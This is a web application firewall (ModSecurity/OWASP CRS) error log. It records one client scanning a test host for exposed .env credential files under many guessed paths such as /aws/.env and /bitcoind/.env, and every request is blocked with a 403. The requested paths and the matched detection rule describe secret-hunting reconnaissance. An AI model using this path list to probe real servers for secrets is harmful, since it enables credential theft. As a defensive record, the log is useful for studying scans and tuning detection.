[Thu Feb 26 01:02:56.191480 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /audio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHggAAAAQ&quot;]
[Thu Feb 26 01:02:56.191718 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHggAAAAQ&quot;]
[Thu Feb 26 01:02:56.191880 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHggAAAAQ&quot;]
[Thu Feb 26 01:02:56.211622 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bgoldd/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZQAAAAM&quot;]
[Thu Feb 26 01:02:56.211863 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZQAAAAM&quot;]
[Thu Feb 26 01:02:56.212055 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bgoldd/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZQAAAAM&quot;]
[Thu Feb 26 01:02:56.254022 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bitcoind/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZgAAAAM&quot;]
[Thu Feb 26 01:02:56.254270 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZgAAAAM&quot;]
[Thu Feb 26 01:02:56.254466 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZgAAAAM&quot;]
[Thu Feb 26 01:02:56.299587 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHhQAAAAQ&quot;]
[Thu Feb 26 01:02:56.299810 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHhQAAAAQ&quot;]
[Thu Feb 26 01:02:56.299963 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHhQAAAAQ&quot;]
[Thu Feb 26 01:02:56.301838 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blankon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZwAAAAM&quot;]
[Thu Feb 26 01:02:56.302068 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZwAAAAM&quot;]
[Thu Feb 26 01:02:56.302228 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZwAAAAM&quot;]
[Thu Feb 26 01:02:56.323560 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blob/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkaAAAAAM&quot;]
[Thu Feb 26 01:02:56.323776 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkaAAAAAM&quot;]
[Thu Feb 26 01:02:56.323927 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkaAAAAAM&quot;]
[Thu Feb 26 01:02:56.343625 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /azure/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHhgAAAAQ&quot;]
[Thu Feb 26 01:02:56.343848 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHhgAAAAQ&quot;]
[Thu Feb 26 01:02:56.344003 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHhgAAAAQ&quot;]
[Thu Feb 26 01:02:56.378208 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkaQAAAAM&quot;]
[Thu Feb 26 01:02:56.378448 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkaQAAAAM&quot;]
[Thu Feb 26 01:02:56.378604 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkaQAAAAM&quot;]
[Thu Feb 26 01:02:56.381496 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHhwAAAAQ&quot;]
[Thu Feb 26 01:02:56.381711 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHhwAAAAQ&quot;]
[Thu Feb 26 01:02:56.381853 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHhwAAAAQ&quot;]
[Thu Feb 26 01:02:56.410771 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHiAAAAAQ&quot;]
[Thu Feb 26 01:02:56.410868 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blogs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkagAAAAM&quot;]
[Thu Feb 26 01:02:56.411003 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHiAAAAAQ&quot;]
[Thu Feb 26 01:02:56.411103 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkagAAAAM&quot;]
[Thu Feb 26 01:02:56.411144 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHiAAAAAQ&quot;]
[Thu Feb 26 01:02:56.411254 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkagAAAAM&quot;]
